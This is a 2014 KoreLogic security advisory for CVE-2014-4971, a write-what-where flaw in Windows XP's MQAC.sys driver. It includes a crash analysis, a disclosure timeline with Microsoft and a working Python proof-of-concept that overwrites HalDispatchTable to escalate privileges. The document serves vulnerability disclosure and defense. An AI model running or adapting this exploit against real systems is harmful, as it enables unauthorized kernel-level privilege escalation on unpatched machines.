Title: Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation Advisory ID: KL-001-2014-003 Publication Date: 2014.07.18 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt 1. Vulnerability Details Affected Vendor: Microsoft Affected Product: MQ Access Control Affected Versions: 5.1.0.1110 Platform: Microsoft Windows XP SP3 CWE Classification: CWE-123: Write-what-where Condition Impact: Privilege Escalation Attack vector: IOCTL CVE ID: CVE-2014-4971 2. Vulnerability Description A vulnerability within the MQAC module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. 3. Technical Description A userland process can create a handle into the MQAC device and subsequently make DeviceIoControlFile() calls into that device. During the IRP handler routine for 0x1965020f the user provided OutputBuffer address is not validated. This allows an attacker to specify an arbitrary address and write (or overwrite) the memory residing at the specified address. This is classically known as a write-what-where vulnerability and has well known exploitation methods associated with it. A stack trace from our fuzzing can be seen below. In our fuzzing testcase, the specified OutputBuffer in the DeviceIoControlFile() call is 0xffff0000. STACK_TEXT: b1c4594c 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b b1c459ac 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7 b1c459ac b230af37 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc b1c45a68 b230c0a1 ffff0000 000000d3 0000000c mqac!AC2QM+0x5d b1c45ab4 804ee129 81ebb558 82377e48 806d32d0 mqac!ACDeviceControl+0x16d b1c45ac4 80574e56 82377eb8 82240510 82377e48 nt!IopfCallDriver+0x31 b1c45ad8 80575d11 81ebb558 82377e48 82240510 nt!IopSynchronousServiceTail+0x70 b1c45b80 8056e57c 000006a4 00000000 00000000 nt!IopXxxControlFile+0x5e7 b1c45bb4 b1aea17e 000006a4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a Reviewing the FOLLOWUP_IP value from the WinDBG '!analyze -v' command shows the fault originating in the mqac driver. OLLOWUP_IP: mqac!AC2QM+5d b230af37 891e mov dword ptr [esi],ebx Reviewing the TRAP_FRAME at the time of crash we can see IopCompleteRequest() copying data from InputBuffer into the OutputBuffer. InputBuffer is another parameter provided to the DeviceIoControlFile() function and is therefore controllable by the attacker. The edi register contains the invalid address provided during the fuzz testcase. TRAP_FRAME: b1c459c4 -- (.trap 0xffffffffb1c459c4) ErrCode = 00000002 eax=b1c45a58 ebx=00000000 ecx=ffff0000 edx=82377e48 esi=ffff0000 edi=00000000 eip=b230af37 esp=b1c45a38 ebp=b1c45a68 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 mqac!AC2QM+0x5d: b230af37 891e mov dword ptr [esi],ebx ds:0023:ffff0000=???????? A write-what-where vulnerability can be leveraged to obtain escalated privileges. To do so, an attacker will need to allocate memory in userland that is populated with shellcode designed to find the Token for PID 4 (System) and then overwrite the token for its own process. By leveraging the vulnerability in MQAC it is then possible to overwrite the pointer at HalDispatchTable+0x4 with a pointer to our shellcode. Calling NtQueryIntervalProfile() will subsequently call HalDispatchTable+0x4, execute our shellcode, and elevate the privilege of the exploit process. 4. Mitigation and Remediation Recommendation None. A patch is not likely to be forthcoming from the vendor. 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 2014.04.28 - Initial contact; sent Microsoft report and PoC. 2014.04.28 - Microsoft acknowledges receipt of vulnerability report; states XP is no longer supported and asks if the vulnerability affects other versions of Windows. 2014.04.29 - KoreLogic asks Microsoft for clarification of their support policy for XP. 2014.04.29 - Microsoft says XP-only vulnerabilities will not be addressed with patches. 2014.04.29 - KoreLogic asks if Microsoft intends to address the vulnerability report. 2014.04.29 - Microsoft opens case to investigate the impact of the vulnerability on non-XP systems. 2014.05.06 - Microsoft asks again if this vulnerability affects non-XP systems. 2014.05.14 - KoreLogic informs Microsoft that the vulnerability report is for XP and other Windows versions have not been examined. 2014.06.11 - KoreLogic informs Microsoft that 30 business days have passed since vendor acknowledgement of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.11 - Microsoft responds to KoreLogic that the vulnerability does not affect an "up-platform" product. Says they are investigating embedded platforms. Does not provide a CVE number or a disclosure date. 2014.06.30 - KoreLogic asks Microsoft for confirmation of their receipt of the updated PoC. Also requests that a CVE ID be issued to this vulnerability. 2014.07.02 - 45 business days have elapsed since Microsoft acknowledged receipt of the vulnerability report and PoC. 2014.07.07 - KoreLogic requests CVE from MITRE. 2014.07.18 - MITRE deems this vulnerability (KL-001-2014-003) to be identical to KL-001-2014-002 and issues CVE-2014-4971 for both vulnerabilities. 2014.07.18 - Public disclosure. 7. Proof of Concept #!/usr/bin/python2 # # KL-001-2014-003 : Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation # Matt Bergin (KoreLogic / Smash the Stack) # CVE-2014-4971 # from ctypes import * from struct import pack from os import getpid,system from sys import exit EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them :) def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None handle = CreateFileA("\\\\.\\MQAC",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) print "[+] Handle \\\\.\\MQAC @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) buf = "\x50\x00\x00\x00"+"\x90"*0x400 WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0))) WriteProcessMemory(-1, 0x5000, "\xcc", 77, byref(c_int(0))) #Overwrite Pointer kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable)) DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x1965020f,0x1,0x258,HalDispatchTable,0) print "[+] HalDispatchTable+0x4 overwritten" CloseHandle(handle) NtQueryIntervalProfile(c_ulong(2),byref(c_ulong())) exit(0) The contents of this advisory are copyright(c) 2014 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt